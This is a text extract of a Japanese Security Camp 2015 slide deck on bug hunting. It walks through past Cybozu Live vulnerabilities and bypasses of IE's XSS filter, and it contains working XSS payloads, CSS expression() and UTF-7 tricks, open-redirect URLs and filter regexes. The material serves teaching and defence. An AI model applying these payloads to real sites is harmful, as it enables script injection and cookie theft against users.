94
SecurityCamp2015 ババババババババババ Masato Kinugawa

SecurityCamp2015「バグハンティング入門」

Embed Size (px)

Citation preview

Page 1: SecurityCamp2015「バグハンティング入門」

SecurityCamp2015バグハンティング入門

Masato Kinugawa

Page 2: SecurityCamp2015「バグハンティング入門」

講師紹介

名前 Masato Kinugawa好きな脆弱性 XSS 職業 会社員・公務員・自営業・

学生・無職・その他

好きな休日の

過ごし方脆弱性を探すこと

Page 3: SecurityCamp2015「バグハンティング入門」

話すこと

TARGET❶ サイボウズ LiveTARGET❷ XSS フィルター

脆弱性発見の発想をみていこう!

次のアプリや機能の実際のバグから

Page 4: SecurityCamp2015「バグハンティング入門」

脆弱性報酬制度脆弱性の報告に賞金を支払う制度ソフトウェア製品で実施しているもの

Chrome/Firefox/IDA Pro など

Web アプリケーションで実施しているものGoogle/Facebook/Twitter/GitHub/Dropbox など

Page 5: SecurityCamp2015「バグハンティング入門」

豆知識

小切手は換金手数料が高い

Page 6: SecurityCamp2015「バグハンティング入門」

[ 注意 ] 一方で

善意の検査でも攻撃とみなされることもあるISP にインターネットを止められた人もいるらしい

検査するなら検査を歓迎しているところが無難残念ながら国内で表明しているところはほとんどない

検査を歓迎している企業の一覧ページhttps://hackerone.com/programshttps://bugcrowd.com/list-of-bug-bounty-programs

Page 7: SecurityCamp2015「バグハンティング入門」

サイボウズ LiveTARGET

Page 8: SecurityCamp2015「バグハンティング入門」

ハントするならサイボウズ!

賞金あり!日本の企業で唯一報酬制度を実施 (2015 年 8 月現在 )

検証環境で安心して検査できる

日本語で報告できる

丁寧に対応してくれる

http://cybozu.co.jp/company/security/bug-bounty/

サイボウズの制度紹介ページ

LINE Bug Bounty ( 期間限定: 2015 年 8 月 24 日 ~ 9 月 23日 )http://linecorp.com/ja/security/bugbounty/

++追記++

Page 9: SecurityCamp2015「バグハンティング入門」

過去に誰かにみつかった脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)【 CyVDB-243 】 SessionFixation【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( 書式編集機能 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい

Page 10: SecurityCamp2015「バグハンティング入門」

過去に僕がみつけた脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)【 CyVDB-243 】 SessionFixation【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( 書式編集機能 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい

ド ヤ

😥

Page 11: SecurityCamp2015「バグハンティング入門」

過去に僕がみつけた脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)

【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( 書式編集機能 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい

Page 12: SecurityCamp2015「バグハンティング入門」

発見のきっかけ

竹迫さんがサイボウズのオフィス周辺のお店をまとめた Google Maps の URL を Live で教えてくれたその下に謎の空の iframe が出現!

http://maps.google.com/maps/ms?msid=XXX

イメージ図 :

Page 13: SecurityCamp2015「バグハンティング入門」

空の iframeが表示されるまでGoogle Maps の URL が張られると

自動でインライン展開する機能があった

Live は全て HTTPS 化されているが、竹迫さんの張った http: から始まる Maps の URL を http: のままiframe へ入れていた

混在コンテンツ (Mixed Content) としてブラウザがロードをブロック

空の iframe が表示!

Page 14: SecurityCamp2015「バグハンティング入門」

試す

受け取る URL の判断が雑だからこんなことになっていると予想とりあえずマップっぽい URL を投稿してみよう

https://maps.google.example.com/

あれ…

Page 15: SecurityCamp2015「バグハンティング入門」

これは…

「 maps.google」がホストにあればロードを開始

無関係のホストを iframe にロードできてしまう!

https://maps.google.example.com/

Page 16: SecurityCamp2015「バグハンティング入門」

考えられる影響

フィッシング偽 Google Mapsを埋め込んで操作させちゃう?

top.location を書き換えることで、オープンリダイレクト (相当 ) として利用[注 ] location は例外的に異なるオリジンからも操作できる

クリックジャッキング( 試していないが )Live 内は X-Frame-Options:sameorigin が指定されているので、うまくやればできたかも?

Page 17: SecurityCamp2015「バグハンティング入門」

過去に僕がみつけた脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)

【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( 書式編集機能 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい

Page 18: SecurityCamp2015「バグハンティング入門」

こんな URL を発見

https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A

%2F%2Fcybozulive.com%2Fideabox%2Flist

Page 19: SecurityCamp2015「バグハンティング入門」

おおまかな挙動のチェック

アクセスするとログイン画面へ

そこからログインすると、 redirectUrl に指定したURL に Location: ヘッダでリダイレクト

リダイレクト先に指定できる URL は cybozulive.com 内に制限しようとしている様子

https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A

%2F%2Fcybozulive.com%2Fideabox%2Flist

Page 20: SecurityCamp2015「バグハンティング入門」

詳しく制限をみるリダイレクトの様子をひたすらみる:

https://cybozulive.com/AAA/AAA//cybozulive.com/AAAhttps://xxxcybozulive.com/AAAhttps://example.com/cybozulive.com/AAAhttps://example.com\cybozulive.com/AAAhttps://example.com\@cybozulive.com/

https://cybozulive.com/ideabox/loginDirect?redirectUrl=[HERE]

Page 21: SecurityCamp2015「バグハンティング入門」

だませたもの ( \ の扱い )

https://example.com\@cybozulive.com/

IE や Chrome では: https://example.com/@cybozulive.com/

Firefox では Basic認証情報の一部:

次の URL にアクセスするとどうなる?

外部のホストへリダイレクトしてしまう

Page 22: SecurityCamp2015「バグハンティング入門」

過去に僕がみつけた脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)

【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( コメント欄 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい

Page 23: SecurityCamp2015「バグハンティング入門」

コメントには機能がたくさん投稿される http(s) な URL をリンク化レスをリンク ( >>1 >1 のような文字から )一部の HTML タグやスタイルの使用外部サービスの自動インライン表示

YouTubeslideshareFlickr

添付ファイルのインライン展開画像、テキストファイルの表示音声ファイルの再生

VimeoCacooGoogle Maps( 直前の問題の修正と共に廃止 )

Page 24: SecurityCamp2015「バグハンティング入門」

正しく動いてる?組み合わせても正しく動く?

Page 25: SecurityCamp2015「バグハンティング入門」
Page 26: SecurityCamp2015「バグハンティング入門」

HTML の要素 /属性の制限

<a>a</a><abbr>abbr</abbr><acronym>acronym</acronym><address>address</address><applet>applet</applet><area>area</area><audioscope>audioscope</audioscope><b>b</b><base>base</base><basefont>basefont</basefont><bdo>bdo</bdo><bgsound>bgsound</bgsound><big>big</big>....

<a target="_blank" >a</a><abbr >abbr</abbr><acronym >acronym</acronym><address >address</address>appletareaaudioscope<strong >b</strong>basebasefont<bdo >bdo</bdo>bgsound<big >big</big>....

ひたすらタグを投稿して使えるものを観察

投稿

Page 27: SecurityCamp2015「バグハンティング入門」

リンクの制限

http:https:ftp:mailto:file:

<a href="http://example.com/">Link</a>

スキームは以下にリストしたものしか使えない

telnet:gopher:news:wais:

?!

Page 28: SecurityCamp2015「バグハンティング入門」

スタイル部分はブラックリスト

expressionbehavior / behaviourmoz-bindinginclude-sourceurlabsolutefixedcontent

javascript:vbscript:data:

<p style="AAA:AAA">test</p>

次の文字列を発見すると style属性ごと削除

Page 29: SecurityCamp2015「バグハンティング入門」

スタイル部分、その他の処理\ を削除/* から */ までを削除& を &amp; に置換

<p style="x:a/**\/b\c&">

<p style="x: abc&amp;;" >

こんな風に

以下を投稿すると:

Page 30: SecurityCamp2015「バグハンティング入門」

Live が守りたいライン

XSS は禁止 ( もちろん )Live 内を閲覧しただけで任意のサイトへリクエストを発生させるようなものは禁止要素 /属性は安全なものをリストして許可スタイル属性値は危険なものをリストして禁止

スクリプトの実行が可能なものUI を著しく破壊するもの任意のサイトへリクエストを発生させるもの

これを破ればOK !

Page 31: SecurityCamp2015「バグハンティング入門」

CSS の expression()

CSS から JS を実行できる XSSer御用達機能このおかげで CSS 注入の危険が大きく上がる

IE の古いドキュメントモード (<=IE7) で動作IE11 からはドキュメントモードにかかわらず動かない

<p style="x:expression(alert(1))">

Page 32: SecurityCamp2015「バグハンティング入門」

いろんな expression()

<p style=x:expres\sion(alert(1))><p style=x:expres/**/sion(alert(1))><p style=x:expr\0065ssion(alert(1))><p style=x:expr&#x65;ssion(alert(1))>

http://www.atmarkit.co.jp/ait/articles/0906/04/news111_2.html

教科書に載らない Web アプリケーションセキュリティ( 3):[柔軟すぎる] IE の CSS解釈で起こる XSS (2/3) - @ IT

昔は全角文字でも動いた:

<p style=x:expression (alert(1))>

Page 33: SecurityCamp2015「バグハンティング入門」

【 CyVDB-553 】禁止文字列のバイパス❶

<p style="x:exp/*[0x0A]*/ression(alert(1))">

コメントの間に改行をはさむとコメントが除去されない!

Page 34: SecurityCamp2015「バグハンティング入門」

【 CyVDB-859 】禁止文字列のバイパス❷

コメントの間に U+2028( または U+2029)をはさむとコメントが除去されない!

<p style="x:exp/*[U+2028]*/ression(alert(1))"

>

Page 35: SecurityCamp2015「バグハンティング入門」

expression()のひどいパース

これでアラートが動く今回はコメントや \ を消すのでギリギリでセーフ

<p style="a:a/**/ression(alert(1))('\')exp\')">

IE CSS解析问题可致新的 XSS Vectors http://wooyun.org/bugs/wooyun-2014-068564

Page 36: SecurityCamp2015「バグハンティング入門」

【 CyVDB-552 】禁止の考慮漏れ❶ <a title="data:text/html, <script>alert(document.domain)</script>" style="-o-link:attr(title);-o-link-source:current" href="http://example.com/">Click</a>

Opera 12.x系のみ使える -o-linkCSS からリンクを設定できる

Page 37: SecurityCamp2015「バグハンティング入門」

HTML5 Security Cheatsheet

こうしたテクが一覧されている Cheatsheethttps://html5sec.org

/

Page 38: SecurityCamp2015「バグハンティング入門」

【 CyVDB-954 】禁止の考慮漏れ❷ <p style="filter:progid:DXImageTransform.Microsoft. AlphaImageLoader( src='https://example.com/', sizingMethod='scale')" >ABC

IE9モードまで動く AlphaImageLoader フィルターurl() という形ではなく、 src= から外部リクエストを発生させることができる

Page 39: SecurityCamp2015「バグハンティング入門」

HTTPLeaks

HTTP リクエストを発生させるような要素 /属性を一覧する @cure53berlin によるプロジェクト

https://github.com/cure53/HTTPLeaks

Page 40: SecurityCamp2015「バグハンティング入門」

現在の CSS のブラックリスト

これで安心 ...?!

expressionbehavior / behaviourmoz-bindinginclude-sourceurlabsolutefixedcontent【 NEW】 -o-link【 NEW】 AlphaImageLoader

javascript:vbscript:data:

<p style="AAA:AAA">test</p>

Page 41: SecurityCamp2015「バグハンティング入門」

ハントの秘訣[ 細かいことを気にしよう ]

些細なバグや特徴的な挙動いちいち悪用できないか考える

僕は小さな気付きをメモするようにしているあとで脆弱性に繋がると気付くことも

Page 42: SecurityCamp2015「バグハンティング入門」

例えば、僕のメモ

ftp: の URL で、存在しないディレクトリをスクリプトなどのリソースとしてよみこもうとするとダイアログがでる。

Firefox のメモ ( browser/firefox/bug.txt ) の No41 :

Page 43: SecurityCamp2015「バグハンティング入門」

例えば、僕のメモ

サイボウズ Live のメモ ( bugbounty/cybozu/live.txt ) :

https://cybozulive.com/common/transactionTokenJsonDirect {"name":"org.apache.struts.taglib.html.TOKEN","value":"[TOKEN]"}

GET で JSON形式で token が返ってくる。ただ Content-Disposition と X-Content-Type-Optionsあり。

Page 44: SecurityCamp2015「バグハンティング入門」

脆弱性を引き出すコツ [ 試す ]とりあえず手を動かして試してみる

いろんな文字を思いつく限り入力するだけでも気付きは得られる読んだり考えたりするだけより身につく

Page 45: SecurityCamp2015「バグハンティング入門」

脆弱性を引き出すコツ [列挙 ]同じ性質のものを列挙しておくと便利例えば HTML タグ例えば HTTPLeaks例えば様々なフォーマットのファイル

例えばブラウザで利用可能な文字コード

パーツがたくさんあればアイデアに幅が生まれる一度列挙しておけば必要なときそこをみるだけ

http://l0.cm/encodings/table/

Page 46: SecurityCamp2015「バグハンティング入門」

☕ [Windows の XSS Tips]

F5 を押す

日本語入力で Unicode のコードポイントを入力

前半終了、ちょっとひといき

Page 47: SecurityCamp2015「バグハンティング入門」

日本語入力で Unicode のコードポイントを入力

��ド ヤ

F5 を押す

☕ [Windows の XSS Tips]前半終了、ちょっとひといき

Page 48: SecurityCamp2015「バグハンティング入門」

XSS フィルターTARGET

Page 49: SecurityCamp2015「バグハンティング入門」

ブラウザの XSS保護機能

XSS AuditorChrome や Safari に搭載

XSS フィルターEdge と IE(8 から ) に搭載

NoScript( ブラウザ標準ではないが )Firefox のアドオン

URL や POSTデータの攻撃と疑わしい文字列に反応し、ページを書き換えて攻撃を防止

Page 50: SecurityCamp2015「バグハンティング入門」

遮断できる文脈をみる

典型的な XSS がある状況を作って遮断できるか確認

Reflected XSS( テキスト部 /属性内 /文字列リテラルの中 )DOM based XSS(document.write/innerHTML)Stored XSS

Page 51: SecurityCamp2015「バグハンティング入門」

パターン 1 Reflected XSS

http://example.com/?q=<script>alert(1)</script>

<html><body>

XSS HERE: <script>alert(1)</script></body>

</html>

IE 遮断

Auditor 遮断

NoScript 遮断

Page 52: SecurityCamp2015「バグハンティング入門」

http://example.com/?q="onmouseover=alert(1)//

<html><body>

<input name="q" value=""onmouseover=alert(1)//">

</body></html>

パターン 2 属性内

IE 遮断

Auditor 遮断

NoScript 遮断

Page 53: SecurityCamp2015「バグハンティング入門」

http://example.com/?q=javascript:alert(1)

<html><body>

<a href="javascript:alert(1)">Click</a></body>

</html>

パターン 3 リンク部分

IE 遮断

Auditor スルー

NoScript 遮断

Page 54: SecurityCamp2015「バグハンティング入門」

http://example.com/?q=";alert(1)//

<body><script>

var q="";alert(1)//";</script>

</body>

パターン 4 文字列リテラル

IE 遮断

Auditor スルー

NoScript 遮断

Page 55: SecurityCamp2015「バグハンティング入門」

パターン 5 DOM based XSS - 1

http://example.com/#<img src=x onerror=alert(1)>

<body><script>

document.write(location.hash);</script>

</body>

IE スルー

Auditor 遮断

NoScript 遮断

Page 56: SecurityCamp2015「バグハンティング入門」

パターン 6 DOM based XSS - 2http://example.com/#<img src=x onerror=alert(1)>

<body><script>

document.body.innerHTML=location.hash;</script>

</body>

IE スルー

Auditor スルー

NoScript 遮断

Page 57: SecurityCamp2015「バグハンティング入門」

パターン 7 Stored XSS

http://sns.example.com/hasegawa/

...<div id="profile">

<script>alert(1)</script></div>

...

IE スルー

Auditor スルー

NoScript スルー

Page 58: SecurityCamp2015「バグハンティング入門」

機能の限界全ての XSS を止めることはできない

止められるのは攻撃のヒントのある典型的なパターン

誤検知は無くせない意図的に起こすこともできる

Page 59: SecurityCamp2015「バグハンティング入門」

XSS フィルターをもっと知る

XSS フィルターの動作の詳細は文書化されていないどんな文字列が遮断対象なのか具体的にみる

バイナリを観察URL にあれこれ入力して試す

通過できたらそれは想定外のバイパスかも?遮断方法にも注目する

ここからは IEの XSSフィルターに絞ってみていこう!

Page 60: SecurityCamp2015「バグハンティング入門」

バイナリもヒントになるC:\Windows\System32\mshtml.dll をエディタで開いてみると ...

Page 61: SecurityCamp2015「バグハンティング入門」

タグらしき文字列が、

Page 62: SecurityCamp2015「バグハンティング入門」

{<sc{r}ipt.*?[ /+\t]*?((src)|(xlink:href)|(href))[ /+\t]*=}{<sc{r}ipt.*?>}{<AP{P}LET[ /+\t>]}{<OB{J}ECT[ /+\t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+\t]*=}{<BA{S}E[ /+\t].*?href[ /+\t]*=}{[ /+\t\"\'`]data{s}rc[ +\t]*?=.}{<st{y}le.*?>.*?((@[i\\])|(([:=]|(&[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))))}{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))}{(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&[#()\[\].]x?0*((66)|(42)|(98)|(62));?))}([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))}([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}

いっぱい!

Page 63: SecurityCamp2015「バグハンティング入門」

<html><body>

<input name="q" value="[XSS_HERE]"></body>

</html>

属性注入の遮断例

{[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.}

"onxxx=a "#nxxx=a

イベントハンドラっぽい文字列を書き換え

Page 64: SecurityCamp2015「バグハンティング入門」

危険なリンクの遮断

{(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&[#()\[\].]x?0*((66)|(42)|(98)|(62));?))}([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}

javascript:avbscript:a

vbs:a

javasc#ipt:av#script:a

v#s:a

Page 65: SecurityCamp2015「バグハンティング入門」

文字列リテラルの遮断

()を使った関数呼び出し等は禁止";abc()//

プロパティアクセス後の代入は禁止";a.b=//";a["b"]=//

プロパティアクセスの無い代入は許容";abc=//

ただし一部の危険な代入は禁止";location=//  変形も NG: ";loc\u0061tion=// ";name=//";onerror=//";valueOf=//

<script>var q="[XSS_HERE]"

</script>

Page 66: SecurityCamp2015「バグハンティング入門」

遮断後<script>

var q="[XSS_HERE]"</script>

()を使った関数呼び出し等は禁止";abc##//

プロパティアクセス後の代入は禁止";a#b=//";a#"b"#=//

プロパティアクセスの無い代入は許容";abc=//

ただし一部の危険な代入は禁止";lo#ation=//  変形も NG: ";lo#\u0061tion=// ";na#e=//";on#rror=//";va#ueOf=//

Page 67: SecurityCamp2015「バグハンティング入門」

危険な代入の攻撃例

";location='javascript:alert(1)'//

";name=document.cookie//

";onerror=eval;throw'alert(1)'//

";valueOf=alert;~window//

(多分こんなかんじ? )

追記: element.click()等が callできるようだ、検証ページ

Page 68: SecurityCamp2015「バグハンティング入門」

バイパスに挑戦してみよう

状況次第ではバイパスも可能?!想定解のある簡単な (?)問題を作ってみましたIE の XSSフィルターをバイパスして alert(1) を出そ

う!

http://tinyurl.com/camp2015xsshttp://tinyurl.com/camp2015xss2

Page 69: SecurityCamp2015「バグハンティング入門」

忘れ去られた機能でバイパス (2010)

IE8 xss filter bypass (xss过滤器绕过 ) http://www.wooyun.org/bugs/wooyun-2010-013883

<div id=x>a <xml:namespace prefix=t> <import namespace=t implementation=#default#time2> <t:set attributename=innerHTML targetElement=x to=&lt;img&#11;src=x:x&#11;onerror&#11;=alert&#x28;1&#x29;&gt;>

これがいま話題の HTML Imports...(違

{<[?]?im{p}ort[ /+\t].*?implementation[ /+\t]*=}

現在はフィルタ済:

Page 70: SecurityCamp2015「バグハンティング入門」

追加された機能でバイパス(2015)

Edge から追加された ES6 の文法を使ったバイパスが既に指摘されている

テンプレートリテラル

ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else / Mario Heiderichhttp://www.slideshare.net/x00mario/es6-en/34

";alert`1`//

ES6 のユニコードエスケープ

";loc\u{61}tion=//

Page 71: SecurityCamp2015「バグハンティング入門」

仕様を利用した自明なバイパス

XSS フィルターは同一オリジンのリンクから開始したリクエストを遮断対象としない

これは誤検知を少しでも減らすための仕様と思われる

同一オリジンにリンクを作れるならバイパス可

つまり

例:サイボウズ Live に Reflected XSS があったなら ..

Page 72: SecurityCamp2015「バグハンティング入門」

この挙動を利用したバイパス

Reflected XSS 自身で Reflected XSS 実行用リンクを作る

XSS フィルターの元担当者 David曰く「この変更やめた方が良い」https://twitter.com/randomdross/status/552949854591127552

余談:

現在は "<a href" も遮断される: {<a.*?

hr{e}f}

<a href="?q=%3Cscript%3Ealert%281%29%3C/script%3E">XSS</a>

http://example.com/xss?q=<a+href="?q=%253Cscript%253Ealert%25281%2529%253C/script%253E">XSS</a>

クリック同一オリジンのリンクなので XSS フィルターはス

ルースクリプトが実行される

Page 73: SecurityCamp2015「バグハンティング入門」

XSS フィルターで XSS(2010)かつて、遮断方法が適切でなかったため、脆弱性がない部分から XSS を作れていた!

Universal XSS via IE8s XSS Filters / Eduardo Vela Nava & David Lindsayhttps://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf

<img src="http://example.com/onerror=alert(1)//">

<img src#"http: example.com onerror=alert(1)//">

遮断後

Page 74: SecurityCamp2015「バグハンティング入門」

遮断を使ってバイパス (2012)

"<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS

なにが起きる?

";abc()//区切り 関数の実行

";a.b=//区切り プロパティアクセス後の代入

Page 75: SecurityCamp2015「バグハンティング入門」

遮断を使ってバイパス (2012)

"<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS

ブラウザの XSS保護機能をバイパスする (3) http://masatokinugawa.l0.cm/2012/09/xss3.html

"<a href=javascript&#x3A;alert&#x28;1&#x29;//=>XSS

遮断後

遮断によって javascript: のリンクに!

&#x3A; : &#x28; ( &#x29; )

Page 76: SecurityCamp2015「バグハンティング入門」

ドキュメントモードが高いので動かない ...

サイボウズ Live で実際にできたもの。expression() は書けたものの ...

<meta http-equiv="X-UA-Compatible" content="IE=edge" />・・・<p style="x:exp/*[0x0A]*/ression(alert(1))">

https://cybozulive.com/xss

フィルターを攻撃へ活用する

Page 77: SecurityCamp2015「バグハンティング入門」

meta タグが破壊されドキュメントモードが降格

ありがとう XSS フィルター!😉

そんなときこそ XSS フィルター!

https://cybozulive.com/xss?<meta+http-equiv=><m#ta http-equiv="X-UA-Compatible" content="IE=edge" />・・・<p style="x:exp/*[0x0A]*/ression(alert(1))">

フィルターを攻撃へ活用する

Page 78: SecurityCamp2015「バグハンティング入門」

フィルターを攻撃へ活用する

HTTP/1.1 200 OKServer: nginxDate: Mon, 03 Aug 2015 14:34:24 GMTContent-Type: text/html;charset=UTF-8Connection: keep-aliveVary: Accept-EncodingCache-Control: privateX-Cybozu-Status-Code: 200X-Frame-Options: SAMEORIGINStrict-Transport-Security: max-age=315360000; includeSubDomains; preload;

X-UA-Compatible: IE=EdgeX-Content-Type-Options: nosniffContent-Length: 143557

現在はヘッダでも指定している模様

Page 79: SecurityCamp2015「バグハンティング入門」

文字コードを使ったバイパス

HTTP/1.1 200 OKContent-Type: text/html

<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"></head><body>XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-</body></html>

http://example.com/xss?q=<meta+charset=utf-7>%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-

選択される charset

Page 80: SecurityCamp2015「バグハンティング入門」

文字コードを使ったバイパスhttp://example.com/xss?q=<meta+charset=utf-7>%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-&<meta+http-equiv=>

HTTP/1.1 200 OKContent-Type: text/html

<!DOCTYPE html><html><head><m#ta http-equiv="Content-Type" content="text/html;charset=UTF-8"></head><body>XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-</body></html> 選択される charset

Page 81: SecurityCamp2015「バグハンティング入門」

文字コードを使ったバイパス

